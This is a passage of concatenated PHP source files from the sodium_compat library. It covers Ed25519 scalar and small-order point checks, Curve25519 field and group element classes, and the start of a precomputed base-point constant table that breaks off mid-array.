        $rcheck = self::ge_tobytes($R);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;

        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $S
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function check_S_lt_L($S)
    {
        if (self::strlen($S) < 32) {
            throw new SodiumException('Signature must be 32 bytes');
        }
        $L = array(
            0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
            0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
        );
        $c = 0;
        $n = 1;
        $i = 32;

        /** @var array<int, int> $L */
        do {
            --$i;
            $x = self::chrToInt($S[$i]);
            $c |= (
                (($x - $L[$i]) >> 8) & $n
            );
            $n &= (
                (($x ^ $L[$i]) - 1) >> 8
            );
        } while ($i !== 0);

        return $c === 0;
    }

    /**
     * @param string $R
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function small_order($R)
    {
        /** @var array<int, array<int, int>> $blocklist */
        $blocklist = array(
            /* 0 (order 4) */
            array(
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 1 (order 1) */
            array(
                0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
            array(
                0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05
            ),
            /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */
            array(
                0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a
            ),
            /* p-1 (order 2) */
            array(
                0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85
            ),
            /* p (order 4) */
            array(
                0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa
            ),
            /* p+1 (order 1) */
            array(
                0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
            array(
                0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */
            array(
                0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* 2p-1 (order 2) */
            array(
                0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p (order 4) */
            array(
                0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p+1 (order 1) */
            array(
                0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            )
        );
        /** @var int $countBlocklist */
        $countBlocklist = count($blocklist);

        for ($i = 0; $i < $countBlocklist; ++$i) {
            $c = 0;
            for ($j = 0; $j < 32; ++$j) {
                $c |= self::chrToInt($R[$j]) ^ (int) $blocklist[$i][$j];
            }
            if ($c === 0) {
                return true;
            }
        }
        return false;
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function scalar_complement($s)
    {
        $t_ = self::L . str_repeat("\x00", 32);
        sodium_increment($t_);
        $s_ = $s . str_repeat("\x00", 32);
        ParagonIE_Sodium_Compat::sub($t_, $s_);
        return self::sc_reduce($t_);
    }

    /**
     * @return string
     * @throws SodiumException
     */
    public static function scalar_random()
    {
        do {
            $r = ParagonIE_Sodium_Compat::randombytes_buf(self::SCALAR_BYTES);
            $r[self::SCALAR_BYTES - 1] = self::intToChr(
                self::chrToInt($r[self::SCALAR_BYTES - 1]) & 0x1f
            );
        } while (
            !self::check_S_lt_L($r) || ParagonIE_Sodium_Compat::is_zero($r)
        );
        return $r;
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function scalar_negate($s)
    {
        $t_ = self::L . str_repeat("\x00", 32) ;
        $s_ = $s . str_repeat("\x00", 32) ;
        ParagonIE_Sodium_Compat::sub($t_, $s_);
        return self::sc_reduce($t_);
    }

    /**
     * @param string $a
     * @param string $b
     * @return string
     * @throws SodiumException
     */
    public static function scalar_add($a, $b)
    {
        $a_ = $a . str_repeat("\x00", 32);
        $b_ = $b . str_repeat("\x00", 32);
        ParagonIE_Sodium_Compat::add($a_, $b_);
        return self::sc_reduce($a_);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     * @throws SodiumException
     */
    public static function scalar_sub($x, $y)
    {
        $yn = self::scalar_negate($y);
        return self::scalar_add($x, $yn);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Fe', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Fe
 *
 * This represents a Field Element
 */
class ParagonIE_Sodium_Core_Curve25519_Fe implements ArrayAccess
{
    /**
     * @var array<int, int>
     */
    protected $container = array();

    /**
     * @var int
     */
    protected $size = 10;

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $array
     * @param bool $save_indexes
     * @return self
     */
    public static function fromArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);
        /** @var array<int, int> $keys */

        $obj = new ParagonIE_Sodium_Core_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($keys[$i], $array[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($i, $array[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int|null $offset
     * @param int $value
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            $this->container[$offset] = $value;
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return int
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        if (!isset($this->container[$offset])) {
            $this->container[$offset] = 0;
        }
        return (int) ($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        return array(implode(', ', $this->container));
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P2', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P2
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P2
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P2 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $z = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Z = $z;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P3', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P3
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P3
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P3 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $t
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->T = $t;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P1p1', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $t
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->T = $t;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_Precomp', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $yplusx;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $yminusx;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $xy2d;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_Precomp constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $yplusx
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $yminusx
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $xy2d
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $yplusx = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $yminusx = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $xy2d = null
    ) {
        if ($yplusx === null) {
            $yplusx = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->yplusx = $yplusx;
        if ($yminusx === null) {
            $yminusx = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->yminusx = $yminusx;
        if ($xy2d === null) {
            $xy2d = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->xy2d = $xy2d;
    }
}
<?php


if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_Cached', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_Cached
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_Cached
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $YplusX;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $YminusX;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T2d;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_Cached constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $YplusX
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $YminusX
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $Z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $T2d
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $YplusX = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $YminusX = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $Z = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $T2d = null
    ) {
        if ($YplusX === null) {
            $YplusX = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->YplusX = $YplusX;
        if ($YminusX === null) {
            $YminusX = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->YminusX = $YminusX;
        if ($Z === null) {
            $Z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Z = $Z;
        if ($T2d === null) {
            $T2d = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->T2d = $T2d;
    }
}
# Curve25519 Data Structures

These are PHP implementation of the [structs used in the ref10 curve25519 code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h).
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_H', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_H
 *
 * This just contains the constants in the ref10/base.h file
 */
class ParagonIE_Sodium_Core_Curve25519_H extends ParagonIE_Sodium_Core_Util
{
    /**
     * See: libsodium's crypto_core/curve25519/ref10/base.h
     *
     * @var array<int, array<int, array<int, array<int, int>>>> Basically, int[32][8][3][10]
     */
    protected static $base = array(
        array(
            array(
                array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605),
                array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378),
                array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546),
            ),
            array(
                array(-12815894, -12976347, -21581243, 11784320, -25355658, -2750717, -11717903, -3814571, -358445, -10211303),
                array(-21703237, 6903825, 27185491, 6451973, -29577724, -9554005, -15616551, 11189268, -26829678, -5319081),
                array(26966642, 11152617, 32442495, 15396054, 14353839, -12752335, -3128826, -9541118, -15472047, -4166697),
            ),
            array(
                array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024),
                array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574),
                array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357),
            ),
            array(
                array(-17036878, 13921892, 10945806, -6033431, 27105052, -16084379, -28926210, 15006023, 3284568, -6276540),
                array(23599295, -8306047, -11193664, -7687416, 13236774, 10506355, 7464579, 9656445, 13059162, 10374397),
                array(7798556, 16710257, 3033922, 2874086, 28997861, 2835604, 32406664, -3839045, -641708, -101325),
            ),
            array(
                array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380),
                array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306),
                array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942),
            ),
            array(
                array(-15371964, -12862754, 32573250, 4720197, -26436522, 5875511, -19188627, -15224819, -9818940, -12085777),
                array(-8549212, 109983, 15149363, 2178705, 22900618, 4543417, 3044240, -15689887, 1762328, 14866737),
                array(-18199695, -15951423, -10473290, 1707278, -17185920, 3916101, -28236412, 3959421, 27914454, 4383652),
            ),
            array(
                array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766),
                array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701),
                array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300),
            ),
            array(
                array(14499471, -2729599, -33191113, -4254652, 28494862, 14271267, 30290735, 10876454, -33154098, 2381726),
                array(-7195431, -2655363, -14730155, 462251, -27724326, 3941372, -6236617, 3696005, -32300832, 15351955),
                array(27431194, 8222322, 16448760, -3907995, -18707002, 11938355, -32961401, -2970515, 29551813, 10109425),
            ),
        ),
        array(
            array(
                array(-13657040, -13155431, -31283750, 11777098, 21447386, 6519384, -2378284, -1627556, 10092783, -4764171),
                array(27939166, 14210322, 4677035, 16277044, -22964462, -12398139, -32508754, 12005538, -17810127, 12803510),
                array(17228999, -15661624, -1233527, 300140, -1224870, -11714777, 30364213, -9038194, 18016357, 4397660),
            ),
            array(
                array(-10958843, -7690207, 4776341, -14954238, 27850028, -15602212, -26619106, 14544525, -17477504, 982639),
                array(29253598, 15796703, -2863982, -9908884, 10057023, 3163536, 7332899, -4120128, -21047696, 9934963),
                array(5793303, 16271923, -24131614, -10116404, 29188560, 1206517, -14747930, 4559895, -30123922, -10897950),
            ),
            array(
                array(-27643952, -11493006, 16282657, -11036493, 28414021, -15012264, 24191034, 4541697, -13338309, 5500568),
                array(12650548, -1497113, 9052871, 11355358, -17680037, -8400164, -17430592, 12264343, 10874051, 13524335),
                array(25556948, -3045990, 714651, 2510400, 23394682, -10415330, 33119038, 5080568, -22528059, 5376628),
            ),
            array(
                array(-26088264, -4011052, -17013699, -3537628, -6726793, 1920897, -22321305, -9447443, 4535768, 1569007),
                array(-2255422, 14606630, -21692440, -8039818, 28430649, 8775819, -30494562, 3044290, 31848280, 12543772),
                array(-22028579, 2943893, -31857513, 6777306, 13784462, -4292203, -27377195, -2062731, 7718482, 14474653),
            ),
            array(
                array(2385315, 2454213, -22631320, 46603, -4437935, -15680415, 656965, -7236665, 24316168, -5253567),
                array(13741529, 10911568, -33233417, -8603737, -20177830, -1033297, 33040651, -13424532, -20729456, 8321686),
                array(21060490, -2212744, 15712757, -4336099, 1639040, 10656336, 23845965, -11874838, -9984458, 608372),
            ),
            array(
                array(-13672732, -15087586, -10889693, -7557059, -6036909, 11305547, 1123968, -6780577, 27229399, 23887),
                array(-23244140, -294205, -11744728, 14712571, -29465699, -2029617, 12797024, -6440308, -1633405, 16678954),
                array(-29500620, 4770662, -16054387, 14001338, 7830047, 9564805, -1508144, -4795045, -17169265, 4904953),
            ),
            array(
                array(24059557, 14617003, 19037157, -15039908, 19766093, -14906429, 5169211, 16191880, 2128236, -4326833),
                array(-16981152, 4124966, -8540610, -10653797, 30336522, -14105247, -29806336, 916033, -6882542, -2986532),
                array(-22630907, 12419372, -7134229, -7473371, -16478904, 16739175, 285431, 2763829, 15736322, 4143876),
            ),
            array(
                array(2379352, 11839345, -4110402, -5988665, 11274298, 794957, 212801, -14594663, 23527084, -16458268),
                array(33431127, -11130478, -17838966, -15626900, 8909499, 8376530, -32625340, 4087881, -15188911, -14416214),
                array(1767683, 7197987, -13205226, -2022635, -13091350, 448826, 5799055, 4357868, -4774191, -16323038),
            ),
        ),
        array(
            array(
                array(6721966, 13833823, -23523388, -1551314, 26354293, -11863321, 23365147, -3949732, 7390890, 2759800),
                array(4409041, 2052381, 23373853, 10530217, 7676779, -12885954, 21302353, -4264057, 1244380, -12919645),
                array(-4421239, 7169619, 4982368, -2957590, 30256825, -2777540, 14086413, 9208236, 15886429, 16489664),
            ),
            array(
                array(1996075, 10375649, 14346367, 13311202, -6874135, -16438411, -13693198, 398369, -30606455, -712933),
                array(-25307465, 9795880, -2777414, 14878809, -33531835, 14780363, 13348553, 12076947, -30836462, 5113182),
                array(-17770784, 11797796, 31950843, 13929123, -25888302, 12288344, -30341101, -7336386, 13847711, 5387222),
            ),
            array(
                array(-18582163, -3416217, 17824843, -2340966, 22744343, -10442611, 8763061, 3617786, -19600662, 10370991),
                array(20246567, -14369378, 22358229, -543712, 18507283, -10413996, 14554437, -8746092, 32232924, 16763880),
                array(9648505, 10094563, 26416693, 14745928, -30374318, -6472621, 11094161, 15689506, 3140038, -16510092),
            ),
            array(
                array(-16160072, 5472695, 31895588, 4744994, 8823515, 10365685, -27224800, 9448613, -28774454, 366295),
                array(19153450, 11523972, -11096490, -6503142, -24647631, 5420647, 28344573, 8041113, 719605, 11671788),
                array(8678025, 2694440, -6808014, 2517372, 4964326, 11152271, -15432916, -15266516, 27000813, -10195553),
            ),
            array(
                array(-15157904, 7134312, 8639287, -2814877, -7235688, 10421742, 564065, 5336097, 6750977, -14521026),
                array(11836410, -3979488, 26297894, 16080799, 23455045, 15735944, 1695823, -8819122, 8169720, 16220347),
                array(-18115838, 8653647, 17578566, -6092619, -8025777, -16012763, -11144307, -2627664, -5990708, -14166033),
            ),
            array(
                array(-23308498, -10968312, 15213228, -10081214, -30853605, -11050004, 27884329, 2847284, 2655861, 1738395),
                array(-27537433, -14253021, -25336301, -8002780, -9370762, 8129821, 21651608, -3239336, -19087449, -11005278),
                array(1533110, 3437855, 23735889, 459276, 29970501, 11335377, 26030092, 5821408, 10478196, 8544890),
            ),
            array(
                array(32173121, -16129311, 24896207, 3921497, 22579056, -3410854, 19270449, 12217473, 17789017, -3395995),
                array(-30552961, -2228401, -15578829, -10147201, 13243889, 517024, 15479401, -3853233, 30460520, 1052596),
                array(-11614875, 13323618, 32618793, 8175907, -15230173, 12596687, 27491595, -4612359, 3179268, -9478891),
            ),
            array(
                array(31947069, -14366651, -4640583, -15339921, -15125977, -6039709, -14756777, -16411740, 19072640, -9511060),
                array(11685058, 11822410, 3158003, -13952594, 33402194, -4165066, 5977896, -5215017, 473099, 5040608),
                array(-20290863, 8198642, -27410132, 11602123, 1290375, -2799760, 28326862, 1721092, -19558642, -3131606),
            ),
        ),
        array(
            array(
                array(7881532, 10687937, 7578723, 7738378, -18951012, -2553952, 21820786, 8076149, -27868496, 11538389),
                array(-19935666, 3899861, 18283497, -6801568, -15728660, -11249211, 8754525, 7446702, -5676054, 5797016),
                array(-11295600, -3793569, -15782110, -7964573, 12708869, -8456199, 2014099, -9050574, -2369172, -5877341),
            ),
            array(
                array(-22472376, -11568741, -27682020, 1146375, 18956691, 16640559, 1192730, -3714199, 15123619, 10811505),
                array(14352098, -3419715, -18942044, 10822655, 32750596, 4699007, -70363, 15776356, -28886779, -11974553),
                array(-28241164, -8072475, -4978962, -5315317, 29416931, 1847569, -20654173, -16484855, 4714547, -9600655),
            ),
            array(
                array(15200332, 8368572, 19679101, 15970074, -31872674, 1959451, 24611599, -4543832, -11745876, 12340220),
                array(12876937, -10480056, 33134381, 6590940, -6307776, 14872440, 9613953, 8241152, 15370987, 9608631),
                array(-4143277, -12014408, 8446281, -391603, 4407738, 13629032, -7724868, 15866074, -28210621, -8814099),
            ),
            array(
                array(26660628, -15677655, 8393734, 358047, -7401291, 992988, -23904233, 858697, 20571223, 8420556),
                array(14620715, 13067227, -15447274, 8264467, 14106269, 15080814, 33531827, 12516406, -21574435, -12476749),
                array(236881, 10476226, 57258, -14677024, 6472998, 2466984, 17258519, 7256740, 8791136, 15069930),
            ),
            array(
                array(1276410, -9371918, 22949635, -16322807, -23493039, -5702186, 14711875, 4874229, -30663140, -2331391),
                array(5855666, 4990204, -13711848, 7294284, -7804282, 1924647, -1423175, -7912378, -33069337, 9234253),
                array(20590503, -9018988, 31529744, -7352666, -2706834, 10650548, 31559055, -11609587, 18979186, 13396066),
            ),
            array(
                array(24474287, 4968103, 22267082, 4407354, 24063882, -8325180, -18816887, 13594782, 33514650, 7021958),
                array(-11566906, -6565505, -21365085, 15928892, -26158305, 4315421, -25948728, -3916677, -21480480, 12868082),
                array(-28635013, 13504661, 19988037, -2132761, 21078225, 6443208, -21446107, 2244500, -12455797, -8089383),
            ),
            array(
                array(-30595528, 13793479, -5852820, 319136, -25723172, -6263899, 33086546, 8957937, -15233648, 5540521),
                array(-11630176, -11503902, -8119500, -7643073, 2620056, 1022908, -23710744, -1568984, -16128528, -14962807),
                array(23152971, 775386, 27395463, 14006635, -9701118, 4649512, 1689819, 892185, -11513277, -15205948),
            ),
            array(
                array(9770129, 9586738, 26496094, 4324120, 1556511, -3550024, 27453819, 4763127, -19179614, 5867134),
                array(-32765025, 1927590, 31726409, -4753295, 23962434, -16019500, 27846559, 5931263, -29749703, -16108455),
                array(27461885, -2977536, 22380810, 1815854, -23033753, -3031938, 7283490, -15148073, -19526700, 7734629),
            ),
        ),
        array(
            array(
                array(-8010264, -9590817, -11120403, 6196038, 29344158, -13430885, 7585295, -3176626, 18549497, 15302069),
                array(-32658337, -6171222, -7672793, -11051681, 6258878, 13504381, 10458790, -6418461, -8872242, 8424746),
